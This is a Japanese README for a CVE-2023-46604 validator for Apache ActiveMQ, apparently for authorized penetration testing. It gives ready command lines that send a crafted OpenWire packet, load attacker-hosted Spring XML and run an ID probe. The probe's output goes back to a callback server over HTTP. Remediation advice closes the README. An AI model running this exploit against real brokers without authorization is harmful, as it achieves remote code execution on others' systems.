
Apache ActiveMQ CVE-2023-46604用の非破壊バリデータ。細工したOpenWireパケットを送信し、HTTPコールバックサーバーを使用してRCEまたはXMLロードを確認し、許可されたペネトレーションテスト用のCSV/JSON証跡を生成します。
Apache ActiveMQ CVE-2023-46604 向けの単一ファイル・非破壊型バリデータです。独自のHTTPコールバックサーバーを起動し、ターゲット固有のSpring XMLをメモリ上で生成し、細工されたOpenWireパケットを送信し、一意のトークンでコールバックを関連付け、CSV/JSONの証跡を書き出します。
このプロジェクトは、許可されたペネトレーションテストとフリート検証を目的として設計されています。リバースシェル、無制限のコマンド実行、CIDR展開、永続化、ペイロードのステージングは意図的に実装していません。
2つの固定された証明モードが利用可能です:
rce は固定された読み取り専用のIDプローブを実行し、その出力を内蔵HTTPサーバーに返します。コールバックにより、ActiveMQサービスコンテキストでのオペレーティングシステムコマンド実行が確認されます。xml は空のSpringコンテキストを提供します。フェッチにより、細工されたOpenWireメッセージがターゲットに ClassPathXmlApplicationContext をインスタンス化させ、攻撃者が制御するXMLを取得させたことが確認されます。プロセスは起動されません。XMLファイルを個別に作成またはホストする必要はありません。
--fail-on-vuln 終了コードデフォルトのOpenWireポートは 61616 ですが、非デフォルトポートにも対応しています。
例ではドキュメント専用アドレスを使用しています。許可された資産に置き換えてください。
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
スクリプトはTCP/8000でコールバックサーバーを自動起動し、生成されたXMLを提供し、OpenWireパケットを送信し、証跡を待ち、結果テーブルを表示し、以下を書き出します:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
targets.txt を作成します:
# 1行に1つの明示的に許可されたホスト
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
実行:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
ターゲットファイルには空行と # で始まるコメントを含めることができます。CIDR展開は意図的にサポートされていません。許可されたインベントリを明示的に列挙してください。
単純なルーティングネットワークの場合は、--callback-host を省略します:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
このツールは、最初のターゲットへのルーティングに使用されるローカル送信元アドレスを選択します。NAT、VPN、コンテナ、ジャンプホスト、マルチホームシステムを介してテストする場合は、--callback-host を指定してください。
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
Windowsプローブは、固定された非対話型PowerShellコマンドを使用して、サービスID、コンピューター名、OSバージョンを返します。対話型シェルは提供されません。
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
このモードでは ProcessBuilder はインスタンス化されません。
ssl:// ターゲットを使用します:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
信頼できない証明書を持つ内部リスナーの場合:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify はOpenWire TLS接続のみに影響します。コールバックサーバーはHTTPです。
| ステータス | 意味 |
|---|---|
CONFIRMED_VULNERABLE_RCE | ターゲットがXMLを取得し、固定IDコマンドが証跡を返しました。 |
CONFIRMED_VULNERABLE_XML_LOAD | xml モードで、ターゲットが一意のXMLドキュメントを取得しました。 |
VULNERABLE_XML_LOAD_ONLY | rce モードで、XML取得は発生しましたが、コマンドコールバックは発生しませんでした。脆弱なクラスインスタンス化パスは確認されましたが、コールバックツール、egress、またはプロセス実行が制限されている可能性があります。 |
NOT_CONFIRMED | パケットは送信されましたが、期限までに関連するHTTP証跡が届きませんでした。これはホストがパッチ適用済みであることの証明ではありません。 |
UNREACHABLE | TCP/TLS接続またはパケット送信に失敗しました。 |
パッチ適用済みブローカー、誤ったポート、egressフィルタリング、ルーティング問題、TLS不一致、エンドポイント制御はすべて、コールバックベースの検証に影響を与える可能性があります。レポート証跡としてCSV/JSONタイムスタンプとコールバック出力を保存してください。
Linux IDプローブは次のような出力を返します:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
HTTP POSTには curl、wget、BusyBox wget を試行します。XMLが取得されたがこれらのクライアントが利用できない場合、結果は偽陰性ではなく VULNERABLE_XML_LOAD_ONLY になります。
0: 検証が完了したか、--fail-on-vuln なしで脆弱性が見つかった2: 少なくとも1つの脆弱な結果が見つかり、--fail-on-vuln が指定されたCI使用例:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604はJava OpenWireアンマーシャリングに影響します。バリデータは、例外クラスが以下のルーズマーシャルされたOpenWire ExceptionResponse を送信します:
org.springframework.context.support.ClassPathXmlApplicationContext
例外メッセージは、生成されたSpring XMLの一意のURLです。脆弱なActiveMQコードは、そのURLで攻撃者が選択したクラスをインスタンス化します。rce モードでは、Springコンテキストが固定の ProcessBuilder プローブを起動します。xml モードでは、コンテキストは空です。
各ターゲットは異なるトークンを受け取ります。例:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
これにより、同時コールバックを正しいターゲットに帰属させることができます。
--authorized 必須の許可確認
-t, --target VALUE 明示的ターゲット、繰り返し可能
-T, --targets-file FILE 1行に1つの明示的ターゲット、繰り返し可能
--default-port PORT デフォルト 61616
--tls すべてのターゲットにTLSを使用
--tls-no-verify OpenWire TLS証明書検証を無効化
--callback-host HOST ターゲットがHTTPコールバックに使用するアドレス
--bind-host HOST ローカルHTTPバインドアドレス、デフォルト 0.0.0.0
--http-port PORT ローカルHTTPポート、デフォルト 8000、0 は空きポートを選択
--proof rce|xml 固定証明モード、デフォルト rce
--platform linux|windows RCEモードのターゲットOS、デフォルト linux
--workers N 並列ワーカー、最大 32
--connect-timeout SECONDS TCP/TLSタイムアウト
--wait SECONDS コールバック収集ウィンドウ
--retries N パケット送信試行回数 1〜3
--retry-delay SECONDS 試行間の遅延
-o, --output FILE CSV証跡の出力先
--json-output FILE オプションのJSON出力先
--verbose HTTPリクエストログを表示
--fail-on-vuln 脆弱な結果が見つかった場合に終了コード2
python3 -m unittest discover -s tests -v
テストでは、ターゲット解析、CIDR拒否、XMLの整形式性、OpenWireフレーム構造を、ターゲットに接続せずに検証します。
ActiveMQを修正済みで現在サポートされているリリースにアップグレードしてください。Apacheアドバイザリは、当時の現在のブランチの修正済みリリースとして、ActiveMQ 5.15.16、5.16.7、5.17.6、5.18.3、6.0.0、およびArtemis 2.31.2 を特定しました。また、OpenWireリスナーを信頼できるクライアントに制限し、予期しない外部へのXML取得を監視してください。
このリポジトリは、防御的検証と許可されたセキュリティ評価を目的としています。意図的に以下を省略しています:
--command 実行固定IDプローブは、対話型アクセスを確立せずに、リモートコマンド実行とサービスアカウントへの影響を実証するのに十分です。
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT。 LICENSE を参照してください。